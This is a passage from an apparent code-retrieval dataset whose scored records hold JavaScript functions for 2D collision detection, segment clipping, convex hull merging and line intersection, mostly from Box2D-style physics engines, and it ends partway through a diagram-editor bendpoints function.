"2ae24da9b3d50d5c36a2e51f74147565", "score": "0.6026724", "text": "function b2ClipSegmentToLine(vOut, vIn, normal, offset, vertexIndexA) {\n // Start with no output points\n let count = 0;\n const vIn0 = vIn[0];\n const vIn1 = vIn[1];\n // Calculate the distance of end points to the line\n const distance0 = b2Vec2.DotVV(normal, vIn0.v) - offset;\n const distance1 = b2Vec2.DotVV(normal, vIn1.v) - offset;\n // If the points are behind the plane\n if (distance0 <= 0) {\n vOut[count++].Copy(vIn0);\n }\n if (distance1 <= 0) {\n vOut[count++].Copy(vIn1);\n }\n // If the points are on different sides of the plane\n if (distance0 * distance1 < 0) {\n // Find intersection point of edge and plane\n const interp = distance0 / (distance0 - distance1);\n const v = vOut[count].v;\n v.x = vIn0.v.x + interp * (vIn1.v.x - vIn0.v.x);\n v.y = vIn0.v.y + interp * (vIn1.v.y - vIn0.v.y);\n // VertexA is hitting edgeB.\n const id = vOut[count].id;\n id.cf.indexA = vertexIndexA;\n id.cf.indexB = vIn0.id.cf.indexB;\n id.cf.typeA = exports.ContactFeatureType.e_vertex;\n id.cf.typeB = exports.ContactFeatureType.e_face;\n ++count;\n // b2Assert(count === 2);\n }\n return count;\n }", "title": "" }, { "docid": "4fa7f079751e235dfa7cf5097d170885", "score": "0.596327", "text": "function merge_convex_hull_2D(H_a, H_b){\n /* (augmented THREE.Vector2, augmented THREE.Vector2) -> augmented THREE.Vector2\n */\n var a = H_a; // The rightmost point in H_a\n var b = H_b; // The leftmost point in H_b\n var lower_tangent = [];\n var upper_tangent = [];\n var action = false;\n\n // Find rightmost point in H_a\n for(var ptr = H_a.next;ptr != H_a;ptr = ptr->next){\n if(a.x < ptr.x){\n a = ptr;\n }\n }\n\n // Find leftmost point in H_b\n for(var ptr = H_a.next;ptr != H_a;ptr = ptr->next){\n if(b.x > ptr.x){\n b = ptr;\n }\n }\n\n // Find lower_tangent\n action = true;\n lower_tangent = [a, b];\n while(action){\n action = false;\n\t\t\t// Check H_a clockwise\n while(point_below_line(lower_tangent, lower_tangent[0].prev)){\n lower_tangent[0] = lower_tangent[0].prev;\n action = true;\n }\n\t\t\t// Check H_b counter-clockwise\n while(point_below_line(lower_tangent, lower_tangent[1].next)){\n lower_tangent[1] = lower_tangent[1].next;\n action = true;\n }\n }\n\n // Find upper_tangent\n action = true;\n upper_tangent = [a, b];\n while(action){\n action = false;\n\t\t\t// Check H_a counter-clockwise\n while(!point_below_line(upper_tangent, upper_tangent[0].next)){\n upper_tangent[0] = upper_tangent[0].next;\n action = true;\n }\n\t\t\t// Check H_b clockwise\n while(point_below_line(upper_tangent, upper_tangent[1].prev)){\n upper_tangent[1] = upper_tangent[1].prev;\n action = true;\n }\n }\n\t\t\n\t\t// Stitch tangents together\n\t\tupper_tangent[0].prev = upper_tangent[1];\n\t\tupper_tangent[1].next = upper_tangent[0];\n\t\tlower_tangent[0].next = lower_tangent[1];\n\t\tlower_tangent[1].prev = lower_tangent[0];\n\n // Merge and return\n\t\treturn H_b;\n }", "title": "" }, { "docid": "f81ec60013f772380d903811f765df0d", "score": "0.59511256", "text": "addEdge(nodeA, nodeB) {\n if (this.exists(nodeA) && this.exists(nodeB)) {\n this.vertices[nodeA].edges[nodeB] = true;\n this.vertices[nodeB].edges[nodeA] = true;\n }\n }", "title": "" }, { "docid": "e8a96b3b13b8db80f88fec41314a5dc6", "score": "0.59211725", "text": "function segmentIntersection(xa, y1a, y2a, xb, y1b, y2b)\r{\r\tvar dx, dy1, dy2, slope1, slope2, origOrdinate1, origOrdinate2, intersectionOrdinate, intersectionAbscissa;\r\t//the result of the intersection is an array//\r\t//with three values//\r\t//item 0 is the result of the intersection : -1 for parallel segments, 0 for secant segments with intersection in the interval//\r\t//item 1 is the abscissa of the intersection if applicable//\r\t//item 2 is the ordinate of the intersection if applicable//\r\tvar intersection = new Array(3);\r\t//\r\tdx = xb-xa;\r\tdy1 = y1b - y1a;\r\tdy2 = y2b - y2a;\r\tslope1 = dy1 / dx;\r\tslope2 = dy2 / dx;\r\tif (slope1 == slope2)\r\t{\r\t\t//post(\"Parallel segments\\n\");\r\t\t//segments are parallel//\r\t\tintersection[0] = IS_NONE;\r\t\tintersection[1] = IS_NONE;\r\t\tintersection[2] = IS_NONE;\r\t\treturn intersection;\r\t}\r\telse\r\t{\r\t\t//post(\"Intersection of segments \\n\");\r\t\t//there is an intersection of the two segments//\r\t\torigOrdinate1 = (y1a * xb - y1b * xa)/dx;\r\t\torigOrdinate2 = (y2a * xb - y2b * xa)/dx;\r\t\tintersectionOrdinate = (slope1 * origOrdinate2 - slope2 * origOrdinate1) / (slope1 - slope2);\r\t\tintersectionAbscissa = (origOrdinate2 - origOrdinate1) / (slope1 - slope2);\r\t\tif ((intersectionAbscissa > xa) && (intersectionAbscissa < xb))\t\r\t\t{\r\t\t\t//if the intersection abscissa belongs to [xa, xb], we have to insert a new point in the FSS : the intersection point//\r\t\t\t//post(\"Insertion intersection=\", intersectionAbscissa, intersectionOrdinate, \"\\n\");\r\t\t\tintersection[0] = 0;\r\t\t\tintersection[1] = intersectionAbscissa;\r\t\t\tintersection[2] = intersectionOrdinate;\r\t\t\t//post(\"After insertion \\n\");\r\t\t}\r\t\telse\r\t\t{\r\t\t\tintersection[0] = IS_NONE;\r\t\t\tintersection[1] = IS_NONE;\r\t\t\tintersection[2] = IS_NONE;\r\t\t}\r\t\treturn intersection;\r\t}\r}", "title": "" }, { "docid": "d2f20126ae7c5200d4e3ea6fe2ea8c5b", "score": "0.58739173", "text": "function b2CollideEdgeAndCircle(manifold,\n\t\t\t\t\t\t\t edgeA, xfA,\n\t\t\t\t\t\t\t circleB, xfB)\n{\n\tmanifold.pointCount = 0;\n\n\t// Compute circle in frame of edge\n\tvar Q = b2MulT_t_v2(xfA, b2Mul_t_v2(xfB, circleB.m_p));\n\n\tvar A = edgeA.m_vertex1, B = edgeA.m_vertex2;\n\tvar ex = B.x - A.x;//b2Vec2.Subtract(B, A);\n\tvar ey = B.y - A.y;\n\n\t// Barycentric coordinates\n\tvar u = ex * (B.x - Q.x) + ey * (B.y - Q.y);//b2Dot_v2_v2(e, b2Vec2.Subtract(B, Q));\n\tvar v = ex * (Q.x - A.x) + ey * (Q.y - A.y);//b2Dot_v2_v2(e, b2Vec2.Subtract(Q, A));\n\n\tvar radius = edgeA.m_radius + circleB.m_radius;\n\n\tvar cf = new b2ContactID();\n\tcf.indexB = 0;\n\tcf.typeB = b2ContactID.e_vertex;\n\n\t// Region A\n\tif (v <= 0.0)\n\t{\n\t\tvar P = A;\n\t\tvar dx = Q.x - P.x;//b2Vec2.Subtract(Q, P);\n\t\tvar dy = Q.y - P.y;\n\t\tvar dd = dx * dx + dy * dy;//b2Dot_v2_v2(d, d);\n\t\tif (dd > radius * radius)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\t// Is there an edge connected to A?\n\t\tif (edgeA.m_hasVertex0)\n\t\t{\n\t\t\tvar A1 = edgeA.m_vertex0;\n\t\t\tvar B1 = A;\n\t\t\tvar e1x = B1.x - A1.x;//b2Vec2.Subtract(B1, A1);\n\t\t\tvar e1y = B1.y - A1.y;\n\t\t\tvar u1 = e1x * (B1.x - Q.x) + e1y * (B1.y - Q.y);//b2Dot_v2_v2(e1, b2Vec2.Subtract(B1, Q));\n\n\t\t\t// Is the circle in Region AB of the previous edge?\n\t\t\tif (u1 > 0.0)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tcf.indexA = 0;\n\t\tcf.typeA = b2ContactID.e_vertex;\n\t\tmanifold.pointCount = 1;\n\t\tmanifold.type = b2Manifold.e_circles;\n\t\tmanifold.localNormal.x = manifold.localNormal.y = 0;\n\t\tmanifold.localPoint.x = P.x;\n\t\tmanifold.localPoint.y = P.y;\n\t\tmanifold.points[0] = new b2ManifoldPoint();\n\t\tmanifold.points[0].id.Assign(cf);\n\t\tmanifold.points[0].localPoint.x = circleB.m_p.x;\n\t\tmanifold.points[0].localPoint.y = circleB.m_p.y;\n\t\treturn;\n\t}\n\n\t// Region B\n\tif (u <= 0.0)\n\t{\n\t\tvar P = B;\n\t\tvar dx = Q.x - P.x;//b2Vec2.Subtract(Q, P);\n\t\tvar dy = Q.y - P.y;\n\t\tvar dd = dx * dx + dy * dy;//b2Dot_v2_v2(d, d);\n\t\tif (dd > radius * radius)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\t// Is there an edge connected to B?\n\t\tif (edgeA.m_hasVertex3)\n\t\t{\n\t\t\tvar B2 = edgeA.m_vertex3;\n\t\t\tvar A2 = B;\n\t\t\tvar e2x = B2.x - A2.x;//b2Vec2.Subtract(B2, A2);\n\t\t\tvar e2y = B2.y - A2.y;\n\t\t\tvar v2 = e2x * (Q.x - A2.x) + e2y * (Q.y - A2.y);//b2Dot_v2_v2(e2, b2Vec2.Subtract(Q, A2));\n\n\t\t\t// Is the circle in Region AB of the next edge?\n\t\t\tif (v2 > 0.0)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tcf.indexA = 1;\n\t\tcf.typeA = b2ContactID.e_vertex;\n\t\tmanifold.pointCount = 1;\n\t\tmanifold.type = b2Manifold.e_circles;\n\t\tmanifold.localNormal.x = manifold.localNormal.y = 0;\n\t\tmanifold.localPoint.x = P.x;\n\t\tmanifold.localPoint.y = P.y;\n\t\tmanifold.points[0] = new b2ManifoldPoint();\n\t\tmanifold.points[0].id.Assign(cf);\n\t\tmanifold.points[0].localPoint.x = circleB.m_p.x;\n\t\tmanifold.points[0].localPoint.y = circleB.m_p.y;\n\t\treturn;\n\t}\n\n\t// Region AB\n\tvar den = ex * ex + ey * ey;//b2Dot_v2_v2(e, e);\n'#if @DEBUG';\n\tb2Assert(den > 0.0);\n'#endif';\n\tvar Px = (1.0 / den) * ((u * A.x) + (v * B.x));\n\tvar Py = (1.0 / den) * ((u * A.y) + (v * B.y));//b2Vec2.Multiply((1.0 / den), b2Vec2.Add(b2Vec2.Multiply(u, A), b2Vec2.Multiply(v, B)));\n\tvar dx = Q.x - Px;//b2Vec2.Subtract(Q, P);\n\tvar dy = Q.y - Py;\n\tvar dd = dx * dx + dy * dy;//b2Dot_v2_v2(d, d);\n\tif (dd > radius * radius)\n\t{\n\t\treturn;\n\t}\n\n\tvar nx = -ey;//new b2Vec2(-ey, ex);\n\tvar ny = ex;\n\tif (nx * (Q.x - A.x) + ny * (Q.y - A.y) < 0.0)//b2Dot_v2_v2(n, b2Vec2.Subtract(Q, A)) < 0.0)\n\t{\n\t\tnx = -nx;//.Set(-n.x, -n.y);\n\t\tny = -ny;\n\t}\n\t//n.Normalize();\n\n\tcf.indexA = 0;\n\tcf.typeA = b2ContactID.e_face;\n\tmanifold.pointCount = 1;\n\tmanifold.type = b2Manifold.e_faceA;\n\tmanifold.localNormal.x = nx;\n\tmanifold.localNormal.y = ny;\n\tmanifold.localNormal.Normalize();\n\tmanifold.localPoint.x = A.x;\n\tmanifold.localPoint.y = A.y;\n\tmanifold.points[0] = new b2ManifoldPoint();\n\tmanifold.points[0].id.Assign(cf);\n\tmanifold.points[0].localPoint.x = circleB.m_p.x;\n\tmanifold.points[0].localPoint.y = circleB.m_p.y;\n}", "title": "" }, { "docid": "49662fbebc3e600d1a26495d871173fc", "score": "0.586321", "text": "function edge(a, b) {\n\t if (a.row > b.row) { var t = a; a = b; b = t; }\n\t return {\n\t x0: a.column,\n\t y0: a.row,\n\t x1: b.column,\n\t y1: b.row,\n\t dx: b.column - a.column,\n\t dy: b.row - a.row\n\t };\n\t}", "title": "" }, { "docid": "5bf9d0855f2933aa50dc0ad224056a7e", "score": "0.5805926", "text": "function intersect(a, b, sep) {\n return sep > Math.max(\n b.x1 - a.x2,\n a.x1 - b.x2,\n b.y1 - a.y2,\n a.y1 - b.y2\n );\n }", "title": "" }, { "docid": "b0374b2d66cfafa712862f6a10061b5f", "score": "0.5765479", "text": "function b2ClipSegmentToLine(vOut, vIn,\n\t\t\t\t\t\t\tnormalx, normaly, offset, vertexIndexA)\n{\n\t// Start with no output points\n\tvar numOut = 0;\n\n\t// Calculate the distance of end points to the line\n\tvar distance0 = /*b2Dot_v2_v2(normal, vIn[0].v)*/(normalx * vIn[0].v.x + normaly * vIn[0].v.y) - offset;\n\tvar distance1 = /*b2Dot_v2_v2(normal, vIn[1].v)*/(normalx * vIn[1].v.x + normaly * vIn[1].v.y) - offset;\n\n\t// If the points are behind the plane\n\tif (distance0 <= 0.0) vOut[numOut++] = vIn[0];\n\tif (distance1 <= 0.0) vOut[numOut++] = vIn[1];\n\n\t// If the points are on different sides of the plane\n\tif (distance0 * distance1 < 0.0)\n\t{\n\t\t// Find intersection point of edge and plane\n\t\tvar interp = distance0 / (distance0 - distance1);\n\t\tvOut[numOut] = new b2ClipVertex();\n\t\t//vOut[numOut].v.Assign(b2Vec2.Add(vIn[0].v, b2Vec2.Multiply(interp, b2Vec2.Subtract(vIn[1].v, vIn[0].v))));\n\t\tvOut[numOut].v.x = vIn[0].v.x + (interp * (vIn[1].v.x - vIn[0].v.x));\n\t\tvOut[numOut].v.y = vIn[0].v.y + (interp * (vIn[1].v.y - vIn[0].v.y));\n\n\t\t// VertexA is hitting edgeB.\n\t\tvOut[numOut].id.indexA = vertexIndexA;\n\t\tvOut[numOut].id.indexB = vIn[0].id.indexB;\n\t\tvOut[numOut].id.typeA = b2ContactID.e_vertex;\n\t\tvOut[numOut].id.typeB = b2ContactID.e_face;\n\t\t++numOut;\n\t}\n\n\treturn numOut;\n}", "title": "" }, { "docid": "61f4ebc8b31192efaf41e3f7b42e8c14", "score": "0.5744362", "text": "function edgeCollision(point1, point2){\n\t\treturn OBSTACLES.reduce((bool, o) => bool || lineInPolygon([point1, point2], o),false)\n\t}", "title": "" }, { "docid": "65c807a3cbb55bb8dd9a727fb52a8856", "score": "0.57314765", "text": "function nearest_edges(point_a,point_b) { //Calculats the tow nearest edges of tow hexagones\n let smalest_dist = [[Infinity,0],[Infinity,0]];\n let points = [];\n for (let i = 0; i < Edges.length; i++) {\n let edge = Edges[i];\n\n //calculate the distance between calculated edge and the center of point_b\n const distance = Math.sqrt(Math.pow(Math.abs((parseInt(point_a[0]) + edge[0])-point_b[0]),2) + Math.pow(Math.abs((parseInt(point_a[1]) + edge[1])-point_b[1]),2));\n\n //check if this distance is the smales distance\n if (distance < smalest_dist[0][0]) {\n smalest_dist [0] = [distance,i];\n }\n else if (distance == smalest_dist[0][0]) { \n console.log(\"same_1\"); //todo if to edges have the same distance, save them both\n //return;\n }\n debug.push([parseInt(point_a[0]) + edge[0],distance,i])\n }\n var edge_a = [0,0];\n edge_a[0] = parseInt(point_a[0]) + Edges[smalest_dist[0][1]] [0];\n edge_a[1] = parseInt(point_a[1]) + Edges[smalest_dist[0][1]] [1];\n\n for (let i = 0; i < Edges.length; i++) {\n\n const edge = Edges[i];\n\n //calculate the distance between edge_a and edge\n const distance = Math.sqrt(Math.pow(Math.abs((parseInt(point_b[0]) + edge[0])-edge_a[0]),2) + Math.pow(Math.abs((parseInt(point_b[1]) + edge[1])-edge_a[1]),2));\n\n //check if this distance is the smales distance\n if (distance < smalest_dist[1][0]) {\n smalest_dist [1] = [distance,i];\n }\n else if (distance == smalest_dist[1][0]) { //todo if to edges have the same distance, save them both\n console.log(\"same_2\");\n //return;\n }\n }\n //get the position of the edges\n points.push([parseInt(point_a[0]) + Edges[smalest_dist[0][1]][0],parseInt(point_a[1]) + Edges[smalest_dist[0][1]][1]]);\n points.push([parseInt(point_b[0]) + Edges[smalest_dist[1][1]][0],parseInt(point_b[1]) + Edges[smalest_dist[1][1]][1]]);\n return points;\n console.log(smalest_dist);\n}", "title": "" }, { "docid": "7c1daa1a14a10cbcba8c62f421174d25", "score": "0.57267785", "text": "function edge(a , b ) {\n if (a.row > b.row) { var t = a; a = b; b = t; }\n return {\n x0: a.column,\n y0: a.row,\n x1: b.column,\n y1: b.row,\n dx: b.column - a.column,\n dy: b.row - a.row\n };\n}", "title": "" }, { "docid": "e81808ec11c30bd143cf7ce002850992", "score": "0.57128483", "text": "_intersects(line1p1, line1p2, line2p1, line2p2) {\n let o1 = this._getOrientation(line1p1, line1p2, line2p1);\n let o2 = this._getOrientation(line1p1, line1p2, line2p2);\n let o3 = this._getOrientation(line2p1, line2p2, line1p1);\n let o4 = this._getOrientation(line2p1, line2p2, line1p2);\n\n // General case (intersecting non-parallel)\n if(o1 !== o2 && o3 !== o4) {\n return true;\n }\n\n // Special Cases (colinear aka all parallel)\n // line1p1, line1p2q1 and line2p1 are colinear and line2p1 lies on segment line1p1 line1p2\n if(o1 === \"colinear\" && this._isOnLine(line1p1, line1p2, line2p1)) {\n return true;\n }\n\n // line1p1, line1p2 and line2p2 are colinear and line2p2 lies on segment line1p1 line1p2\n if(o2 === \"colinear\" && this._isOnLine(line1p1, line1p2, line2p2)) {\n return true;\n }\n\n // line2p1, line2p2 and line1p1 are colinear and line1p1 lies on segment line1p line2p2\n if(o3 === \"colinear\" && this._isOnLine(line2p1, line2p2, line1p1)) {\n return true;\n }\n\n // linep2, line2p2 and line1p2 are colinear and line1p2 lies on segment linep2 line2p2\n if(o4 === \"colinear\" && this._isOnLine(line2p1, line1p2, line1p2)) {\n return true;\n }\n\n return false; // Doesn't fall in any of the above cases\n }", "title": "" }, { "docid": "d629a8e1be2c8b2adcf92d26d2b0214b", "score": "0.56706697", "text": "function CollideEdgePolygon(manifold, edgeA, xfA, polygonB, xfB) {\n // Algorithm:\n // 1. Classify v1 and v2\n // 2. Classify polygon centroid as front or back\n // 3. Flip normal if necessary\n // 4. Initialize normal range to [-pi, pi] about face normal\n // 5. Adjust normal range according to adjacent edges\n // 6. Visit each separating axes, only accept axes within the range\n // 7. Return if _any_ axis indicates separation\n // 8. Clip\n\n var m_type1, m_type2; // VertexType unused?\n\n var xf = Transform.mulTXf(xfA, xfB);\n\n var centroidB = Transform.mulVec2(xf, polygonB.m_centroid);\n\n var v0 = edgeA.m_vertex0;\n var v1 = edgeA.m_vertex1;\n var v2 = edgeA.m_vertex2;\n var v3 = edgeA.m_vertex3;\n\n var hasVertex0 = edgeA.m_hasVertex0;\n var hasVertex3 = edgeA.m_hasVertex3;\n\n var edge1 = Vec2.sub(v2, v1);\n edge1.normalize();\n var normal1 = Vec2.neo(edge1.y, -edge1.x);\n var offset1 = Vec2.dot(normal1, Vec2.sub(centroidB, v1));\n var offset0 = 0.0;\n var offset2 = 0.0;\n var convex1 = false;\n var convex2 = false;\n\n // Is there a preceding edge?\n if (hasVertex0) {\n var edge0 = Vec2.sub(v1, v0);\n edge0.normalize();\n var normal0 = Vec2.neo(edge0.y, -edge0.x);\n convex1 = Vec2.cross(edge0, edge1) >= 0.0;\n offset0 = Vec2.dot(normal0, centroidB) - Vec2.dot(normal0, v0);\n }\n\n // Is there a following edge?\n if (hasVertex3) {\n var edge2 = Vec2.sub(v3, v2);\n edge2.normalize();\n var normal2 = Vec2.neo(edge2.y, -edge2.x);\n convex2 = Vec2.cross(edge1, edge2) > 0.0;\n offset2 = Vec2.dot(normal2, centroidB) - Vec2.dot(normal2, v2);\n }\n\n var front;\n var normal = Vec2.zero();\n var lowerLimit = Vec2.zero();\n var upperLimit = Vec2.zero();\n\n // Determine front or back collision. Determine collision normal limits.\n if (hasVertex0 && hasVertex3) {\n if (convex1 && convex2) {\n front = offset0 >= 0.0 || offset1 >= 0.0 || offset2 >= 0.0;\n if (front) {\n normal.set(normal1);\n lowerLimit.set(normal0);\n upperLimit.set(normal2);\n } else {\n normal.setMul(-1, normal1);\n lowerLimit.setMul(-1, normal1);\n upperLimit.setMul(-1, normal1);\n }\n } else if (convex1) {\n front = offset0 >= 0.0 || (offset1 >= 0.0 && offset2 >= 0.0);\n if (front) {\n normal.set(normal1);\n lowerLimit.set(normal0);\n upperLimit.set(normal1);\n } else {\n normal.setMul(-1, normal1);\n lowerLimit.setMul(-1, normal2);\n upperLimit.setMul(-1, normal1);\n }\n } else if (convex2) {\n front = offset2 >= 0.0 || (offset0 >= 0.0 && offset1 >= 0.0);\n if (front) {\n normal.set(normal1);\n lowerLimit.set(normal1);\n upperLimit.set(normal2);\n } else {\n normal.setMul(-1, normal1);\n lowerLimit.setMul(-1, normal1);\n upperLimit.setMul(-1, normal0);\n }\n } else {\n front = offset0 >= 0.0 && offset1 >= 0.0 && offset2 >= 0.0;\n if (front) {\n normal.set(normal1);\n lowerLimit.set(normal1);\n upperLimit.set(normal1);\n } else {\n normal.setMul(-1, normal1);\n lowerLimit.setMul(-1, normal2);\n upperLimit.setMul(-1, normal0);\n }\n }\n } else if (hasVertex0) {\n if (convex1) {\n front = offset0 >= 0.0 || offset1 >= 0.0;\n if (front) {\n normal.set(normal1);\n lowerLimit.set(normal0);\n upperLimit.setMul(-1, normal1);\n } else {\n normal.setMul(-1, normal1);\n lowerLimit.set(normal1);\n upperLimit.setMul(-1, normal1);\n }\n } else {\n front = offset0 >= 0.0 && offset1 >= 0.0;\n if (front) {\n normal.set(normal1);\n lowerLimit.set(normal1);\n upperLimit.setMul(-1, normal1);\n } else {\n normal.setMul(-1, normal1);\n lowerLimit.set(normal1);\n upperLimit.setMul(-1, normal0);\n }\n }\n } else if (hasVertex3) {\n if (convex2) {\n front = offset1 >= 0.0 || offset2 >= 0.0;\n if (front) {\n normal.set(normal1);\n lowerLimit.setMul(-1, normal1);\n upperLimit.set(normal2);\n } else {\n normal.setMul(-1, normal1);\n lowerLimit.setMul(-1, normal1);\n upperLimit.set(normal1);\n }\n } else {\n front = offset1 >= 0.0 && offset2 >= 0.0;\n if (front) {\n normal.set(normal1);\n lowerLimit.setMul(-1, normal1);\n upperLimit.set(normal1);\n } else {\n normal.setMul(-1, normal1);\n lowerLimit.setMul(-1, normal2);\n upperLimit.set(normal1);\n }\n }\n } else {\n front = offset1 >= 0.0;\n if (front) {\n normal.set(normal1);\n lowerLimit.setMul(-1, normal1);\n upperLimit.setMul(-1, normal1);\n } else {\n normal.setMul(-1, normal1);\n lowerLimit.set(normal1);\n upperLimit.set(normal1);\n }\n }\n\n // Get polygonB in frameA\n polygonBA.count = polygonB.m_count;\n for (var i = 0; i < polygonB.m_count; ++i) {\n polygonBA.vertices[i] = Transform.mulVec2(xf, polygonB.m_vertices[i]);\n polygonBA.normals[i] = Rot.mulVec2(xf.q, polygonB.m_normals[i]);\n }\n\n var radius = 2.0 * Settings.polygonRadius;\n\n manifold.pointCount = 0;\n\n { // ComputeEdgeSeparation\n edgeAxis.type = e_edgeA;\n edgeAxis.index = front ? 0 : 1;\n edgeAxis.separation = Infinity;\n\n for (var i = 0; i < polygonBA.count; ++i) {\n var s = Vec2.dot(normal, Vec2.sub(polygonBA.vertices[i], v1));\n if (s < edgeAxis.separation) {\n edgeAxis.separation = s;\n }\n }\n }\n\n // If no valid normal can be found than this edge should not collide.\n if (edgeAxis.type == e_unknown) {\n return;\n }\n\n if (edgeAxis.separation > radius) {\n return;\n }\n\n { // ComputePolygonSeparation\n polygonAxis.type = e_unknown;\n polygonAxis.index = -1;\n polygonAxis.separation = -Infinity;\n\n var perp = Vec2.neo(-normal.y, normal.x);\n\n for (var i = 0; i < polygonBA.count; ++i) {\n var n = Vec2.neg(polygonBA.normals[i]);\n\n var s1 = Vec2.dot(n, Vec2.sub(polygonBA.vertices[i], v1));\n var s2 = Vec2.dot(n, Vec2.sub(polygonBA.vertices[i], v2));\n var s = Math.min(s1, s2);\n\n if (s > radius) {\n // No collision\n polygonAxis.type = e_edgeB;\n polygonAxis.index = i;\n polygonAxis.separation = s;\n break;\n }\n\n // Adjacency\n if (Vec2.dot(n, perp) >= 0.0) {\n if (Vec2.dot(Vec2.sub(n, upperLimit), normal) < -Settings.angularSlop) {\n continue;\n }\n } else {\n if (Vec2.dot(Vec2.sub(n, lowerLimit), normal) < -Settings.angularSlop) {\n continue;\n }\n }\n\n if (s > polygonAxis.separation) {\n polygonAxis.type = e_edgeB;\n polygonAxis.index = i;\n polygonAxis.separation = s;\n }\n }\n }\n\n if (polygonAxis.type != e_unknown && polygonAxis.separation > radius) {\n return;\n }\n\n // Use hysteresis for jitter reduction.\n var k_relativeTol = 0.98;\n var k_absoluteTol = 0.001;\n\n var primaryAxis;\n if (polygonAxis.type == e_unknown) {\n primaryAxis = edgeAxis;\n } else if (polygonAxis.separation > k_relativeTol * edgeAxis.separation + k_absoluteTol) {\n primaryAxis = polygonAxis;\n } else {\n primaryAxis = edgeAxis;\n }\n\n var ie = [ new Manifold.clipVertex(), new Manifold.clipVertex() ];\n\n if (primaryAxis.type == e_edgeA) {\n manifold.type = Manifold.e_faceA;\n\n // Search for the polygon normal that is most anti-parallel to the edge\n // normal.\n var bestIndex = 0;\n var bestValue = Vec2.dot(normal, polygonBA.normals[0]);\n for (var i = 1; i < polygonBA.count; ++i) {\n var value = Vec2.dot(normal, polygonBA.normals[i]);\n if (value < bestValue) {\n bestValue = value;\n bestIndex = i;\n }\n }\n\n var i1 = bestIndex;\n var i2 = i1 + 1 < polygonBA.count ? i1 + 1 : 0;\n\n ie[0].v = polygonBA.vertices[i1];\n ie[0].id.cf.indexA = 0;\n ie[0].id.cf.indexB = i1;\n ie[0].id.cf.typeA = Manifold.e_face;\n ie[0].id.cf.typeB = Manifold.e_vertex;\n\n ie[1].v = polygonBA.vertices[i2];\n ie[1].id.cf.indexA = 0;\n ie[1].id.cf.indexB = i2;\n ie[1].id.cf.typeA = Manifold.e_face;\n ie[1].id.cf.typeB = Manifold.e_vertex;\n\n if (front) {\n rf.i1 = 0;\n rf.i2 = 1;\n rf.v1 = v1;\n rf.v2 = v2;\n rf.normal.set(normal1);\n } else {\n rf.i1 = 1;\n rf.i2 = 0;\n rf.v1 = v2;\n rf.v2 = v1;\n rf.normal.setMul(-1, normal1);\n }\n } else {\n manifold.type = Manifold.e_faceB;\n\n ie[0].v = v1;\n ie[0].id.cf.indexA = 0;\n ie[0].id.cf.indexB = primaryAxis.index;\n ie[0].id.cf.typeA = Manifold.e_vertex;\n ie[0].id.cf.typeB = Manifold.e_face;\n\n ie[1].v = v2;\n ie[1].id.cf.indexA = 0;\n ie[1].id.cf.indexB = primaryAxis.index;\n ie[1].id.cf.typeA = Manifold.e_vertex;\n ie[1].id.cf.typeB = Manifold.e_face;\n\n rf.i1 = primaryAxis.index;\n rf.i2 = rf.i1 + 1 < polygonBA.count ? rf.i1 + 1 : 0;\n rf.v1 = polygonBA.vertices[rf.i1];\n rf.v2 = polygonBA.vertices[rf.i2];\n rf.normal.set(polygonBA.normals[rf.i1]);\n }\n\n rf.sideNormal1.set(rf.normal.y, -rf.normal.x);\n rf.sideNormal2.setMul(-1, rf.sideNormal1);\n rf.sideOffset1 = Vec2.dot(rf.sideNormal1, rf.v1);\n rf.sideOffset2 = Vec2.dot(rf.sideNormal2, rf.v2);\n\n // Clip incident edge against extruded edge1 side edges.\n var clipPoints1 = [ new Manifold.clipVertex(), new Manifold.clipVertex() ];\n var clipPoints2 = [ new Manifold.clipVertex(), new Manifold.clipVertex() ];\n\n var np;\n\n // Clip to box side 1\n np = Manifold.clipSegmentToLine(clipPoints1, ie, rf.sideNormal1, rf.sideOffset1, rf.i1);\n\n if (np < Settings.maxManifoldPoints) {\n return;\n }\n\n // Clip to negative box side 1\n np = Manifold.clipSegmentToLine(clipPoints2, clipPoints1, rf.sideNormal2, rf.sideOffset2, rf.i2);\n\n if (np < Settings.maxManifoldPoints) {\n return;\n }\n\n // Now clipPoints2 contains the clipped points.\n if (primaryAxis.type == e_edgeA) {\n manifold.localNormal = Vec2.clone(rf.normal);\n manifold.localPoint = Vec2.clone(rf.v1);\n } else {\n manifold.localNormal = Vec2.clone(polygonB.m_normals[rf.i1]);\n manifold.localPoint = Vec2.clone(polygonB.m_vertices[rf.i1]);\n }\n\n var pointCount = 0;\n for (var i = 0; i < Settings.maxManifoldPoints; ++i) {\n var separation = Vec2.dot(rf.normal, Vec2.sub(clipPoints2[i].v, rf.v1));\n\n if (separation <= radius) {\n var cp = manifold.points[pointCount]; // ManifoldPoint\n\n if (primaryAxis.type == e_edgeA) {\n cp.localPoint = Transform.mulT(xf, clipPoints2[i].v);\n cp.id = clipPoints2[i].id;\n } else {\n cp.localPoint = clipPoints2[i].v;\n cp.id.cf.typeA = clipPoints2[i].id.cf.typeB;\n cp.id.cf.typeB = clipPoints2[i].id.cf.typeA;\n cp.id.cf.indexA = clipPoints2[i].id.cf.indexB;\n cp.id.cf.indexB = clipPoints2[i].id.cf.indexA;\n }\n\n ++pointCount;\n }\n }\n\n manifold.pointCount = pointCount;\n}", "title": "" }, { "docid": "8d8faf4b93d53b5d934b4a1e57146fa5", "score": "0.5670582", "text": "function Bendpoints(\n eventBus, canvas, interactionEvents,\n bendpointMove, connectionSegmentMove) {\n\n /**\n * Returns true if intersection point is inside middle region of segment, adjusted by\n * optional threshold\n */\n function isIntersectionMiddle(intersection, waypoints, treshold) {\n var idx = intersection.index,\n p = intersection.point,\n p0, p1, mid, aligned, xDelta, yDelta;\n\n if (idx <= 0 || intersection.bendpoint) {\n return false;\n }\n\n p0 = waypoints[idx - 1];\n p1 = waypoints[idx];\n mid = Object(_util_Geometry__WEBPACK_IMPORTED_MODULE_4__[\"getMidPoint\"])(p0, p1),\n aligned = Object(_util_Geometry__WEBPACK_IMPORTED_MODULE_4__[\"pointsAligned\"])(p0, p1);\n xDelta = Math.abs(p.x - mid.x);\n yDelta = Math.abs(p.y - mid.y);\n\n return aligned && xDelta <= treshold && yDelta <= treshold;\n }\n\n /**\n * Calculates the threshold from a connection's middle which fits the two-third-region\n */\n function calculateIntersectionThreshold(connection, intersection) {\n var waypoints = connection.waypoints,\n relevantSegment, alignment, segmentLength, 